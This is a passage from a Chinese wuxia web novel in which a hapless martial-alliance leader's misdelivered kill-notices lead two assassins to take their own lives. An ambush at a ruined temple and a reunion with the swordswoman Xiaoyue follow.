黑暗中一个高大的身影缓步走了出来。走到跟前,月光照亮他的身子。这是一个身形消瘦的男子,脸上颧骨突出,额头高耸,留着一副山羊胡子,双目阴冷却炯炯有神。 “我便是你们要找的人。”他声音尖锐,声调里有些阴阳怪气的味道。 我问“你,你是李莫残?” “不错。”他说,“你就是姬盟主。” 他这样一说,我顿时感觉自己气势了很多,毕竟他还是认可我这个武林盟主的。 我壮了壮胆子,说“本盟主给你说的事,你考虑得怎么样了?” 李莫残嘿嘿一笑,说“我根本就没有考虑。” 我问“为什么?” 李莫残说“因为我根本就不会同意。” 果然如李小谦猜测的那样,他们不会同意去自首。 我看了一眼李小谦,他无奈地摇了摇头。我问“诸葛暮云呢?她同意吗?” “我只听老鬼的。”黑暗中传来诸葛暮云的声音。我循声望去,只见诸葛暮云,仍旧是穿着那日碧绿的衣裳,只是湿漉漉的头发变得干燥柔顺,利落地挽起,插上了两根荧光闪闪的簪子。她走过来时冷冷地瞪了一眼李小谦,吓得李小谦慌忙躲到我身手,两腿摆开,做出一副拔腿要逃的架势。 诸葛暮云呵呵一笑,说“你不用跑,我们残云会的规矩,只会接帖杀人,没有帖子我们是不会杀人的。” 李小谦长长地舒了一口气,却听诸葛暮云又说“但是,可以把人打残!” 李小谦当时又躲到我身后,摆出了少林轻功的架势,时刻准备逃命,惹得诸葛暮云一阵开怀大笑。 李小谦说“如果你们只是不同意,那你们便不会来,既然你们来了,你们一定还有别的打算,说出来吧!” 李莫残说“聪明!我们是有一些打算,想和姬盟主商量一下。” 我问“什么打算?” 李莫残与诸葛暮云对视一眼,说“我听说,盟主对皇上有救命之恩,因此,想请盟主在皇上面前帮我们讨个人情,我们可以解散残云会,从此匿迹江湖,希望皇上可以下旨放了我们还有各大门派。” 他们说的很轻巧,但我感觉这件事做起来一定十分艰难。我说“其实我也没有救皇上的性命,只是无意间帮了他一把。他未必会给我这样的情面。” 李莫残说“这么说,盟主是不肯帮我们了?” 我说“不是我不肯帮你们,是我真的帮不了。” 诸葛暮云说“盟主是执意要将我们两个人抛给朝廷了?” 他们接连地逼问,让我着实不知如何是好。本来商议的,便是要他们向朝廷自首,没想到他们会在今日烟雨亭提出各种各样的条件。我被他们惹得一阵烦恼,说“要自首就自首,不自首就算,大不了这件事我不参与了!” 李小谦连连扯着我衣袖,似乎是在暗示我什么,我一连回头看了他几次,他都不开口说话。我更加烦恼,说“有什么你便说,不要拉拉扯扯的!” 李莫残说“看来,再谈下去也没有意义了。但我们却也不愿看着各大门派因我们而蒙难,为今之计,只好委屈盟主了。” 我一怔,问“你要干什么?” 诸葛暮云说“不做什么,只是想走一招险棋,试试你在皇上心中的分量。” 她话音刚落,我只感觉眼前一亮,接着脖颈处传来一丝清凉的感觉。我心头一颤,却已见她用一把短刀抵住了我的脖颈。 李小谦大叫“住手!快住手!” 诸葛暮云疑惑地看着李小谦,说“怎么?你着什么急?我又不会杀他?” 李小谦说“你绑架他,非但救不了各大门派,反而会给朝廷落下更多的口实,去着手处理江湖上的事。” 我一动也不敢动,只慌忙说“对,对,他说得很有道理!” 诸葛暮云有些犹豫了,我感觉那柄短刀在我脖颈 处悄悄向下滑了半寸。 “不要听他的!”李莫残尖声叫道,“不试过怎么会知道,难道真的要让我们拱手将人头献给朝廷才能罢休吗?” 李小谦说“两位虽然是杀手,却也算得上仁义,你们真的愿意那江湖的命运去赌吗?” 李莫残和诸葛暮云面面相觑,脸上皆露出了犹豫之色。 我把握时机,说“不能赌!赌输了江湖就完了!” 我这话一出果然奏效,诸葛暮云将短刀收了起来,他目光柔和的看着李莫残,有些绝望地说“老鬼,不要再挣扎了,我们还是去吧。管师兄虽然不说,但我近来听闻,他已经与朝廷起了冲突。再这样下去,只怕会祸及师门。” 李莫残低头不语,双拳紧紧握了起来。 只听诸葛暮云又说“杀了那个狗知府,我无怨无悔。我们并没有错,错的是这个世道,容不下我们这样的人。” 一直沉默的李莫残,听了诸葛暮云的话,竟突然爆发了。他用他那尖锐地嗓音吼道“容不下?有什么容不下的!我们只不过是收钱除了一个狗官,比起那些高坐朝堂之上陷害忠良,草菅人命的狗贼,我们这算得了什么?” 诸葛暮云眼中光影闪烁,哽咽地喊了一句“老鬼!” 李莫残猛然抬头,露出异常凶狠地目光“大不了我们去杀了那个昏君,天下之大还没有我残云会取不下的人头!” 他们竟然大言不惭地想要去杀皇上! “呵呵……” 我只觉得好笑,一时没忍住竟真的笑出声来。 李小谦低声吼道“笑什么笑,你疯了!” 李莫残狠狠地盯着,那凶狠地目光让我浑身汗毛耸立。李莫残说“你笑什么?” 我说“皇宫戒备森严,还有很多高手侍卫,你们怎么可能杀得了皇上?!” 李莫残说“只要是长在脖子上面的头,就没有取不下来的!你想不想试试?” 看着李莫残凶狠的目光,我下意识的摸了摸自己的脖子,忽然感觉在自己脖子上牢牢呆了近二十年的脑袋,在这一瞬间仿佛变得也不再那么牢靠。 李小谦忽然跳了出来,说“我们打个赌吧!” 李莫残一怔,问“打什么赌?” 李小谦说“既然你们如此自负,说天下没有取不下的人头。那不如我们约定两日之后,我们向你二人分别下两道杀人帖。只要你二人有其中一人完成,我这兄弟……”他拍了拍我的肩膀,继续说“便亲自入宫,面见皇上,为你们求情!” 李莫残与诸葛暮云的眼中,纷纷露出激动的光彩,同时问道“此话当真 ?!” 我悄悄看了一眼李小谦,他用力的朝我眨了眨眼睛。我心领神会,说“当真!” 李莫残激动地说“那好,我二人为了躲避朝廷的耳目,不在一同居住。她在静心庵,我在城南石佛寺。到时候还请你们将杀人帖,分别送于我们二人。” 李小谦说“好!两日后,我会将杀人帖送到你们的住处,我们的赌约以十日为限!如果,你们赢了,我们言出必行,无论结果如何,定将在皇上面前力保。但如果你们输了……” 我说“对!如果你们输了怎么办?!” 李莫残犹豫了片刻,一抱拳,说“如果我们输了,我二人便拿着刺杀绍兴知府的证据,去衙门自首!” 李小谦抓着我的手,高高举起,说“来吧!击掌为誓!如违约定,不得好死!” “啪,啪,啪”三声脆响,李莫残枯瘦的手掌一连三下都击在了我的掌心之上。 2 回到陆府之时,天已朦胧亮起。 来到陆游的书房前,灯光摇曳,他的身影在灯光下来回走动。 推开陆游书房的门,他看到我俩一脸担忧,连忙冲上来询问“怎么样?你二人没事吧?” 想起在烟雨亭上,险些被绑架,之后又差点儿被李莫残砍了脑袋,如今安然无恙的回来了,我忽然鼻头一酸,抱着陆游一阵呜咽“可吓死我了!” 陆游拍着我的肩膀安慰道“回来就好!回来就好!” 过了许久,我的情绪才稍稍安定下来。陆游问“到底出了什么事。” 李小谦已坐在陆游的书桌前,摆弄起了砚台。我说“他们根本就不打算去自首。” 陆游微微点头,说“这一点我早就猜到了。然后呢?又发生了什么?” 我便将烟雨亭上发生的事,从头到尾一五一十地向陆游详述了一遍。 陆游听完一阵沉默。 李小谦说“幸亏我反应的快,用这个赌约拖延时间才得以脱身。不然,只怕我和旦丙真的就回不来了。” 陆游说“我只想到他二人,断然不会同意去衙门自首,却没有想到,今夜烟雨停一会,竟是如此凶险。若知道如此,即便是母亲大人怪罪,我也会与你们同去。此事是我疏忽了。” 李小谦一摆手,说“世事难料,这怪不得你。我也没有想到他俩会这么变态。但好在是安然无恙的回来了,接下来是要考虑怎么样应付这场赌约。” 我焦急的看着陆游与李小谦,问“接下来该怎么办?” 李小谦说“当然是给他们送杀人帖咯!” 陆游叫道“万万不可! 无论你写下谁的名字,如果他们真的做到了,那岂不是我们的罪过?” 李小谦叹了口气,说“陆兄,我们当时是要找他们杀不了的人给他们,不然怎么去赢得这场赌约呢?” 我说“这天下他们杀不了的,恐怕只有皇上。不如我们就让他们去杀皇上吧!” 陆游和李小谦身子同时一震。李小谦叫道“你疯了?!若被皇上知道了,你让两个杀手去杀他,他还不把你大卸八块?!” 我说“那要怎么办?” 李小谦指了指自己的头,说“用脑子啊!”说罢,他提起笔,在两张纸上分别写下了两个名字。 一个是李莫残。 另一个是诸葛暮云。 我当即拍手叫绝,说“好主意!” 陆游点头,说“他二人感情深厚,伉俪情深,江湖人尽皆知。这的确是个好主意!李兄,你果然是聪慧过人,小弟佩服!” 李小谦放下毛笔,看着我,说“旦丙!你真的明白了吗?” 我笃定地说“我明白!” 这有什么不明白的,谁会去砍了自己的脑袋?! 说话间,李小谦已将两张纸分别装进了两个信封。他将两个信封交给我,说“明白就好!你和李莫残击掌为誓,这件事只有你去安排才有意义,可千万不要送错了!” 接过两封信,我内心激动。自从李小谦回来之后,我总感觉身边的事顺当了许多,似乎再也没有遇到过什么不可解决的难题。 李小谦伸了个懒腰,说“陆兄,如果你不介意,我就不回厢房了,便借你的书房躺椅休息一下吧!” 陆游笑着说“李兄请便!我去吩咐下人为你准备些饭菜!” 走出陆游的书房,天已大亮。在黑暗中摸索了一整夜,太阳升起之后,只觉得天地间一片明亮。 我随手叫住两名陆府的仆人,将两封密封的信笺分别交给他们二人。递给他们之前,我还特地查看了一番,唯恐会将两封信件弄错。查看无误后,我命他们两人带着信,分别前往静心庵与石佛寺,亲自交给诸葛暮云和李莫残两人。 仆人走后。我久久悬着的心仿佛瞬间落了下来。这段时间以来,我无时不刻不在为这件事担忧。如今这场风波即将过去,而我将成为拯救武林于危难之中的英雄,从此武林盟主的地位将牢固不可撼动。 想到这里,我的内心一阵激动。 回到厢房之中,我才骤然感觉到疲惫不堪,浑身无力,双目发沉。打了一个哈欠,我便一头栽倒在舒适床上,蒙头睡去。 3 “我靠!姬旦丙!你快点起来!” 还在睡梦之中,我感觉自己浑身上下多处遭受打击。沉重的身子被一双大手摇来晃去,耳边不停响起李小谦焦急的声音。 “怎么了?”我揉着惺忪的睡眼,问。 “你是怎么送的信?!”李小谦叫着,“李莫残和诸葛暮云自杀了!” 我心里一惊,“腾”地从床上坐了起来,原本沉沉的睡意,立时消散得无影无踪。 “我靠!”我由衷地喊道。 李小谦瞪着眼睛,吼道“你还靠?!你是怎么送的信呀?他们怎么就自杀了?” 我说“你不是说要他们自己砍自己的脑袋吗?我就把诸葛慕云送给了诸葛慕云,把李莫残送给了李莫残!” 李小谦瞪着圆圆的眼睛,盯了我许久没有说话。忽然他摇着头,以一种万分感慨的语气,对我说“旦丙啊旦丙!你真是万年难得一见的天才啊!” 他说的我脸颊发烫,不禁感到一阵羞涩,笑着说“过奖了,过奖了!” 李小谦突然暴跳如雷,冲着我大吼“过奖你大爷!我是让李莫残去杀诸葛暮云,让诸葛暮云去杀李莫残。你他妈的正好送反了!” 说罢,李小谦跺着脚,摔门而去。 看着李小谦愤然离去的背影,我这才意识到自己似乎真的是做错了什么。 那时候我是真的不明白。我以为李小谦最初的意思是他们不可能杀的人是他们自己。 然而,恰恰相反。李小谦却认定他们不肯杀的人是彼此。 但无论如何,据送信回来的仆人说,李莫残和诸葛暮云在接到杀人帖后,丝毫没有迟疑,当场自杀。原本一场眼见就要被化解掉的江湖风波,却阴差阳错的被我弄成了死局,再也没有了化解的可能。 这场悲剧已然酿成。 然而另一场悲剧却也因此埋下了种子。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百零四章 暗杀 1 李莫残和诸葛暮云双双自杀之后,我遭受了李小谦与陆游两人严厉地责备。 陆游一阵叹息,说“如今可真是无计可施了。这场危机恐怕很难过去了。” 我心里愧疚难安,一阵阵地难受。我开口央求李小谦,说“求你快想想,还有没有补救的办法?” 李小谦说“人都死了,还有什么办法?我们空口无凭地去衙门揭发,人家会听我们的吗?” 这时候,陆府的仆人急匆匆地跑进了陆游的书房,说“一个抱着大刀的冷脸壮汉,在门口大叫,声称要见武林盟主。” 我下意识地便意识到,是柳无风找来了。 李小谦说“他来得可真准时。” 陆游满脸疑惑,问“是什么人?” 我心里一阵阵地烦躁,说“不管他了!就说我不在。” “不行!”李小谦忽然站了起来,说,“我们去见他!” 我问“见他做什么?他又不会帮我们。” 李小谦皱了皱眉头,说“我们得立刻走!回临安府!” 我不解,问“为什么要走?难道残云的事不管了吗?” 李小谦义正言辞地说“必须要走了!李莫残与诸葛暮云自尽的消息很快就会传遍江湖,若我们再呆在陆府,一则会有杀身之祸,二则恐怕会祸及陆兄。” 陆游说“李兄思虑周全,这一点我当真没有想到。只怕我也要设法出去躲一阵子了,” 李小谦说“不用。陆兄应尽快告知你叔父,只要有他在,相信残云会的人还不敢找你们的麻烦。只是我们,却不能再停留片刻了,必须马上起程。” 我说“你的意思是,残云会的人会杀我们?” 李小谦向我挤了一个白眼,说“对啊!你逼死了他们的老大,那群杀手会放了你吗?!” 可是,我并没有想到他们会真的自杀! 李小谦转身向陆游告辞,说“陆兄,我们现在就走!时间仓促,我们便不过多客套了。青山不改,绿水长流,我们江湖再见!” 陆游一脸激动,连忙回礼,说“李兄大才,出口果然不同凡响。此次没有机会与李兄讨教,日后再见,我们把酒畅谈,一醉方休。” 我向着陆游一抱拳,说“告辞!” 走出陆府。柳无风面无表情的抱着刀,见我们出来,他冷眼看了我一眼,说“可以走了吗?” 李小谦呵呵一笑,说“柳大人真是胸有乾坤,镇定自若啊。我们消失了这么多天,你却到今日才来,而是赶得时间刚刚好!” 柳无风冷冷一笑,说“不明 白你在说什么!”他牵了两匹骏马,把缰绳分别递给我和李小谦,自己则翻身上了另外一匹马,淡淡的说“时辰不早了,快些走吧!” 出门时本已是晌午,一路未停,天黑时正好赶在一处前不着村后不沾店的荒僻之所。入夜,天上又下起了蒙蒙细雨,好在是有一间破庙,我们三人便借地避雨。 柳无风从身上掏出一包肉干,一包干粮,分给我们俩人,说“吃吧!” 李小谦倒也不客气,连一句道谢的话都没有,下手便吃了起来。 我问柳无风“陈有风去哪儿了?” 柳无风说“走了!” 他走了? 我问“什么时候走的?” 柳无风说“我不知道。” 我忽然感到一丝不安,问“你不会把他杀了吧?” 柳无风斜眼看了我一眼,不屑地一笑,说“我还不至于蠢到为了一个可有可无的人去得罪括苍派,尤其是那个诡计多端的陈伯洋!” 不知道为什么,在柳无风的口中,陈伯洋一向是一个诡计多端的小人。 吃饱喝足之后,我们在地上泼下一层薄薄的稻草,就这样睡了。或许是因为奔波劳累,体力有些透支,又或许是因为这一整日心绪繁杂,身心俱疲。刚一躺下,我便沉沉的睡着了。 2 不知是在什么时候,我站在了一个陌生的天地。那里起初是一片朦胧,仿佛置身迷雾之中。 渐渐的,周围开始变得清晰。头顶上是墨绿色的苍穹,日月同辉,鲜花满地,我站立在繁花丛中,向四周极目地张望,却是无际无际花海与墨绿的穹顶相接。 我在张望时,忽然看到百米之外一道洁白如雪的身影。她缓缓转过身来,接下脸上的黑斑,露出倾世绝美的容颜。 是小月! 我内心抑制不住地狂喜,随即向着小月奔去。她笑着,向我走来。临近十步,忽然间人影一晃,白影消散。我只看见一道碧绿的影子向我冲来,恍惚之间还有一把雪亮的短刀。 碧绿的影子穿过的身体。 我并没有感觉到太多的痛苦,我只感觉到冰冷的刀划过了我的脖梗,刀是冷的,血是热的,我感觉温热的血液在我的脖子上一滴一滴地滴下来。 我的心里充满了恐惧。我缓缓抬起头,月亮已然不见了踪影。 是不是月亮它已经死了? 我转过身去,只见身后那道碧绿色的人影也在转身。诸葛暮云的身子,转身过来,却是一副呲牙咧嘴的山羊胡子! “啊!” 我惊叫着坐了起来。四周是黑漆漆的一片,身下是硬邦邦的地面。茫然 地坐了一阵,我才想起来,我们已经离开了绍兴,正在奔赴临安的路上。 想起李莫残与诸葛暮云,我心里又是一阵愧疚。 忽然,我听到破庙外面一阵窸窸窣窣的响动,似乎是有许多双脚踩踏着破庙外密密麻麻的杂草。 有人来了! 我心里一惊,伸手推了推离我最近的柳无风。 柳无风用极低的嗓音说“听到了!别出声!” 我慌忙将手伸入袖中,攥住九郎剑的剑柄,一双眼睛死死盯着窗外。 细雨无声。然而,破庙屋檐上的积水落下,滴落在地上的积水坑里,发出叮咚叮咚的声响。 密集的脚步声越来越近,越来越清晰。我可以判断,他们就在破庙之外,不足十米的地方! “躺下!”柳无风压着嗓子对我说,“不要出声!” 我缓缓躺在地上,一颗心悬起来,已紧张到了极点。通过脚步声交错重叠的频率,我隐约可以感觉,门外至少有七八人。 他们会是谁? 难道,是残云会前来报仇的杀手吗? 忽然,我听到嗖的一声响,一道银光从门外闪进,竟是直直地冲着我飞来。 “快躲开!”柳无风大叫。 我闭上眼睛,下意识地拔出九郎剑,凭借一瞬间的记忆,朝着那银光一闪的方向挥去! “当”的一声! 九郎剑剧烈地震颤,由剑柄传遍我的全身。我向左一番,定睛一看,地上躺着两段银色的短箭。 那短箭极为熟悉! “是月亮弓!”我失声叫道。 话音刚落,破庙轻掩上的老旧木门被大力踹来。黑暗中我隐约看到一排,莫约是七八个黑影站在门口。他们手中端着雪亮的冰刃,发出深深寒气。 柳无风早已翻身站起,他的刀端在手中,已做好了迎战的姿态。而我再去看李小谦时,他原本熟睡的那团稻草之上空空荡荡,早已不见了他的身影。 “大哥!”我焦急地喊着,“你去哪里了?” 没有人回应。 “来的人可是残云会的兄弟?”柳无风冷声问道。 那一排人影一句话也不说,刀剑一横,齐齐向着我和柳无风冲来。 柳无风大喝一声,一只手将我挡在身后,另一只手已经挥动长刀,向着刀光剑影处一记横扫。 “叮当咣啷” 一阵密集的铁器撞击声,登时火花四射,犹如漫天繁星闪烁,将小小的破庙照得一片光亮。 柳无风的这一季横扫显然威力极大,他不仅挡住了七八双劈斩而来的刀剑,更是将这七八个手持刀剑的黑影硬生生逼退了数步。 七八个黑影忽然调转身形,在我们眼前一晃,竟然在眨眼之间形成圆阵,将我们两人团团围在其中。 柳无风一直护着我的那只手缓缓落下,他轻声问道“你可以应付几个?” 我可以应付几个? 我只能说,从前,我一个都没应付过。 柳无风并没有等我开口,他便说“多加小心!”忽然他双手握住刀柄与护手连接的地方,左侧是锋利的刀刃,右侧是长长的刀柄。他竟然像抡着长棍一样抡起他手中的那柄长刀,大声呼喊着冲向圆阵的一侧。 “叮当咣啷”的声响连成一片,柳无风看似杂乱无章的刀法,竟然牵制住了六个黑影,他们重新围城一个圆,将柳无风死死围住。 然而,柳无风挥刀成盾,将自己整个罩在其中。一个不知死活的黑影撩起长刀刺向柳无风的心口,却被刀盾卷入其中,一阵惨叫之后,登时血肉模糊! 我还来不及为柳无风叫好,眼前的两个黑影,双剑合璧,耍着如出一辙的剑招,一齐向我刺来。 我心头一震之后,连忙向后躲避。他们调转剑刃,在原地耍了一通,再次向我刺来。 我向左一挫,再次躲开。 两个人收回剑刃,交换站位,又在原地将方才的剑招,花里胡哨的耍了一遍。 当那一双剑再向我刺来的时候,我却感觉那双剑的速度也并不像我想象的那样迅速。剑法招式虽然如行云流水,连贯通彻,让我眼花缭乱,但我却完全看不懂。我只看到,剑尖儿指向我的一瞬间,那速度完全在我可以接受的范围之内。 因为,那速度,并不比竹筒里发出的第二十几道银针快上多少。 只当那双剑是竹筒里射出来的银针。我挥动锋利的九郎剑向下一切,护手上镶嵌的宝石闪耀着绚丽的光,九郎剑的剑刃划过,如同切入空气一般,毫无阻碍。 但我分明听到了接连着的“当当”锐响。我来不及多想,左右连连挥舞几次。两个黑影一同收手向后,再举起剑时,一双三尺长剑,剩下的已只有几寸。 我又惊又喜。原来白景行没有骗我,他交给我的那个竹筒,真的是成就绝世剑法的宝物。如果真的能像他所说的那样,接住一百一十三根银针,那将是怎样的威力无穷,简直让我无法想象。 身后接连又是几声惨叫,我回过头时,柳无风的脚下已横了五具尸体。 “小心!”柳无风大叫。 我连忙将头转回去,只见与我对阵的两个人不知何时已经扔了手里的残剑。他们的手上,正各自端着一把短小精致的弓。 弯弯的弓,如天上弯弯的月亮。 银色的短箭,闪着杀意凛然的银光! 当我反应过来时,那一双银光已然向我飞来,它们在空中齐头并进,直指我的头颅。 箭飞得很快! 像流星一样快! 这样近的距离,这样快的箭,根本不给我一丝一毫反映的机会。 “当” 几乎是只响了一声。我眼前三指的距离,亮光一闪,竟然有一柄剑从我眼前飞过,正好将那两支射来的短箭挡下。 紧接着,我只感觉眼前的景象犹如落雨梨花一般,一片雪亮亮的白光,从两人中间直直的穿过。 一剑刺破了两个人的咽喉,却不见一丝一毫的月光! 那股让我魂牵梦绕的香气弥漫了整间破庙。眼前的两个人轰然倒下,露出一道洁白靓丽的人影。 她反握着剑,带着青面獠牙的面具。露出的一双眼睛直直的盯着我,带着春风一般温柔的笑意。 小月! 我在心里呼喊着她的名字。她仿佛是听到了一般伸手摘下了青面獠牙的面具。 她正冲着我笑。她说“我救了你一命,你要怎样谢我?” 要怎样谢她呢? 我忽然觉得这个问题很难!难得让我慌乱,让我不知所措。 我说“谢谢!” 小月一怔,说“就这样吗?” 我问“你想怎样?” 小月走过来,芊芊手指戳了一下我的额头,说“傻子!” 3 柳无风重重地咳了两声,说“别顾着打情骂俏了!” 小月双颊一红,指着柳无风说“你不要乱说!什么打情骂俏!” 柳无风并没有理会她,因为他刀下架着的,还有一个颗毫无惧色的头颅。 柳无风冷冷地看着他,问“你是不是残云会的人?” 那人冷哼一声说“废话少说,要杀便杀!” 我慌忙喊道“住手!” 柳无风说“我也没打算动手!”说罢,他把刀收了起来,塞入刀鞘之中。 他走到我身边,对我说“你来处置吧!” 我要如何处置他呢? 若是从前对付这种人,我丝毫不会手软。几棍子打下去非要让他满头是血不可。 然而,看着满地横七竖八的尸体,我莫名的感觉到一阵强烈的悲哀。 不过一夜的时间。无端死了这么多条人命。他们一定是残云会的人,来找我报仇。如今,残云会除了李莫残与诸葛暮云,我的身上又背负了七条人命。 我很愧疚。我说“你走吧!” 那人愣住了,他不敢置信地看着我,问“你不杀我?” 我 摇了摇头,说“我不想杀人。” 那人缓缓站起身来,竟然向我抱拳行礼,然后转身离去。走出两步,他又回过头来,迟疑了片刻,对我说“我不是残云会的人。” 我一愣,心中万分惊讶,问“你不是残云会的人?那么你是谁?”然而,我的话刚刚问出口,他已经一跃跳上了墙头,转眼消失在细雨蒙蒙的夜色里。 他们竟然不是残云会的人! 那我凭什么要放了他? 我忽然醒觉,抄起地上的一根木棍,冲出破庙,大喊“你回来!让老子打一顿再走!” 然而,那人并没有回来。蒙蒙的细雨打在我的脸上,我感觉一阵骚(脱敏)痒,伸手去挠,额头上竟感到一阵火辣辣的疼痛。 我摊开手一看,满手是血! 4 “你说,你怎么这么不小心呢?”小月一边为我包扎额头上的伤口,一边埋怨,“我的剑飞过去,你就不知道稍微躲一躲吗?” 我说“我没来得及反应。” 小月说“傻子,你怎么这么笨。” 我感觉一阵羞愧。柳无风却说“他已经很不错了。一个没有练过武功的人,却能击败两名高手。他只是经验欠缺,稍微有些大意罢了。” 柳无风极少夸我,他这样一说,倒让我觉得有些不好意思了。我双颊一热,却听见小月啧啧两声,随即哈哈笑了起来。 “你看,你看!他还脸红了!”小月指着我笑。 柳无风冷哼一声,说“傻子!” 他刚说完,小月却一巴掌掴在了柳无风的头上。柳无风冷不丁地挨了一下,登时横眉直挑,勃然大怒,吼道“你做什么?!” 小月说“这天底下,我可以叫他傻子,别人不可以!” 柳无风冷冷地说“我偏叫!傻子!” “你!”小月气得直跺脚,拿着剑往柳无风身上一通乱砸,嘴里还不住地喊着“你再说!你再说!” 柳无风抱头格挡,却也不还手,只是嘴上不停的说着“不与你这女子一般见识!” 我笑着,看着他二人打闹,仿佛是回到了朱家岭。那时,我还不是武林盟主,虽然也有许多烦恼,却总不像现在一样沉重。 忽然,我觉得身边似乎少了些什么! 李小谦呢?! 我豁然起身,叫道“李小谦去哪里了?!” 我三人彼此对视一眼,慌忙转身在破庙中搜索。然而小小的一间破庙里,除了我们仨,再没有一个活人。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百零五章 化解 1. 在我们焦急寻找的时候,李小谦从破庙外面,颠着轻快地步子走了进来。 他先是看到破庙里横七竖八的尸体,先是一阵随后大声叫道:“我靠!什么情况?!” 我问:“你去哪里了?” 李小谦小心翼翼的从尸体上跨了过来,说:“我去外面撒了泡尿。你们这里怎么了?” 柳无风冷哼了一声,说:“你这尿撒的忒也久了些!” 李小谦说:“我前列腺不好,你管得着吗?” 柳无风一脸费解,问:“何为前列腺?” 李小谦笑着说:“这玩意儿纯爷们儿都有,柳大人你竟然不知道?” 我说:“我也不知道!” 李小谦笑了笑,指着地上的尸体,问:“这是怎么回事?” 我说:“刚才来了一群杀手,要杀我们!” 李小谦问:“是残云会的?” 我说:“刚刚放走的那个人说,不是。” 李小谦问:“怎么还放走了一个?你这不是暴露了我们的行踪吗?” 柳无风说:“我们的行踪本来就没有什么好暴露的。这样光明正大的从绍兴到临安,走的都是官道,想要查我们的行踪,简直一如反掌。” 李小谦看到小月,笑嘻嘻地招了招手,说:“美女,我们又见面了!” 小月呵呵一笑,竟然对我啐了一声,说:“你瞧瞧人家嘴巴多甜,整日在一起也不学着点。” 我说:“我学不会。” 小月满脸生气,骂道:“傻子!” 2. 此番遭遇劫杀之后,我们一行人都已经没了睡意。加之外面的蒙蒙细雨已停,天空渐渐放晴,露出星星点点的星光。 柳无风说:“不要耽搁了,我们趁夜走吧。” 这就走了吗?我看着小月,忽然心里异常不舍。刚刚见面,还没有来得及说上几句话,就要分开了。 没想到小月竟然将剑往腰上一跨,说:“走吧!” 我问:“你去哪里?” 小月说:“当然和你们一起回临安了,你想让我去哪里?” 我心里一阵欢喜,我当然想和小月在一起。但是我还是忍不住地问:“你去临安做什么?” 小月咬了咬唇,忽然哼了一声,说:“我去临安当然是有事,与你无关。”说罢,她一扬头走出了破庙。 李小谦凑到我跟前,说:“你是不是傻呀?她明显是关心你,过来保护你的。” 我问:“谁?小月吗?” 李小谦说:“当然是小月,难道是我吗?”说完,他摇着头走了出去。 我茫然的看着柳无风,柳无风轻 轻叹了一口气,说:“傻子。”随后,他也走出了破庙。 我站在破庙的门口看着,在外面四处张望的小月,她那一身洁白的裙摆在夜风中轻轻飘荡,那背影纯洁得像是坠落凡尘的仙子。 小月。 她终于又回到我身边了。 3. 走出破庙之后,我们四个人看着三匹马,陷入了一阵沉默。 李小谦打破了沉默,说:“女侠,你出门怎么不骑马?” 小月说:“我本来是骑马的,但是看到一群人鬼鬼祟祟地跟着你们,我怕惊动他们,便将马放了!” 李小谦摇着头,说:“你随便将马拴在哪里也好,干嘛要放了它。” 又是一阵沉默。 小月打破了这次沉默,她说:“傻子!我要骑你的马!” 我说:“那我怎么办?” 小月轻咬樱唇,说:“你,你和李小谦骑一匹马!” 李小谦大叫:“不行!” 我问:“为何不行?” 李小谦用一种让我十分分费解的表情对着我,似乎是老师父看着自己不成器的徒弟一般,他说:“老子前列腺不好,怕挤!” 我看向柳无风,柳无风竟然丝毫不理会我,直接翻身上马,淡淡地说:“我也怕挤!” 李小谦也随之上马,冲我一眨眼,说:“红尘作伴,策马奔腾啊,兄弟!”说罢,他轻轻甩了甩缰绳,马儿缓步前进。 我看着小月,小月低着头。我说:“你怕挤吗?” 小月摇了摇头。 我说:“那我们骑一匹马吧。” 小月的脚尖在地上轻轻地碾着泥土,点了点头。 我说:“你做前面还是坐后面?” 小月脸上一片红晕,声如细蚊地哼哼了两句。我问:“你说什么?我没听到。” 小月轻声地说:“随你。” 我哦了一声,说:“那你坐后面吧!”说罢,我翻身准备上马,一只脚刚刚踏上马蹬,却被小月一把拉了下来。 小月怒气冲冲地瞪了我一眼,说:“滚!”她竟然骑着马走了。我在后面一路追赶了几百米,她才勒住马生让我上马。 上马之后我还抱着小月。她依在我怀里轻声地说:“这次就饶了你。傻子!” 4. 天亮之后,我们赶到了临安府。我并没有直接回到武林盟。而是不顾众人的反对,驾马去了娄琴客栈。 无论如何,娄琴始终是我心里挂念的人。 自括苍山一行之后,我便再也没有见过她。到娄琴客栈之时,她正一人独自在客栈里忙碌。晨光斜照入门中,她的周身披上一层金灿灿的光彩。尤其 是她穿了一身紫色的衣裳,在晨阳的斜照下,更显得亮丽夺目。 “娄姐!”我翻身下马,呼喊着她。 她起身看向我,先是一怔,随即露出惊喜之色。她说:“你怎么回来了?” 我说:“我觉得我应该回来。” 娄琴看了一眼李小谦,忽然叹了一口气,说:“快进来吧!” 娄琴客栈中,一切都是我熟悉的模样。熟悉的厅堂,熟悉的桌椅,熟悉的茶盏,熟悉的人,让我有种回到家的感觉。 娄琴为我们斟满茶水。她为小月倒茶时,与小月短暂的对视,随即深意地一笑。自从进了娄琴客栈之后,小月的眼睛便始终没有离开娄琴。尤其是我与娄琴说话的时候,小月更是以一种十分怪异的眼神看着她。 我忍不住问小月:“你的眼睛怎么了?” 小月瞪了我一眼,说:“住口!不关你的事!”说吧,她将茶水一下倒进嘴里。娄琴笑着为小月斟满茶水,说:“我这个弟弟心思单纯,但却是难得一见的好人,妹妹,你以后还是要多担待才是。” 小月的目光忽然变得柔和了许多,她毕恭毕敬端着茶碗,接住娄琴倒下的茶水:“姐姐,是小月无礼,你莫要见怪!” 娄琴笑着,却没有说话。她为小月添满茶水之后将茶壶放在桌上,忽然严肃地对我说:“残云会的事,我都听说了!” “你都听说了?”我惊讶地问。 娄琴说:“昨晚来的客人里,好几桌都在谈论绍兴的事,现在整个江湖已闹得沸沸扬扬,只怕我不想听说都难了。” 这个江湖真的很可怕,消息传播的竟然比我们的马都快。 娄琴说:“绍兴的事怎么会闹成这个样子?” 李小谦说:“这件事你得问旦丙,这是他的杰作!” 娄琴看着我,问:“到底是怎么回事?” 我低下头去,不敢去看娄琴的眼睛。沉默了许久,才咬着牙将,绍兴的是一五一十,告诉了娄琴。 娄琴听完之后,轻轻的叹了口气。她说:“怎么会这样?” 我愧疚难当,说:“这件事都怨我。是我理解错了,李小谦的意思。” 李小谦说:“罢了罢了,木已成舟,再说这些也没有什么意义了。” 在我的印象中,娄琴是一个极其聪明的人。她总是有办法解决各种各样的困难。我看着娄琴问:“你有没有什么补救的办法。” 娄琴站起身来,默默的往我们的茶碗中添了一些茶水。她淡淡的一笑。那笑容里有些苦涩,有些无奈。 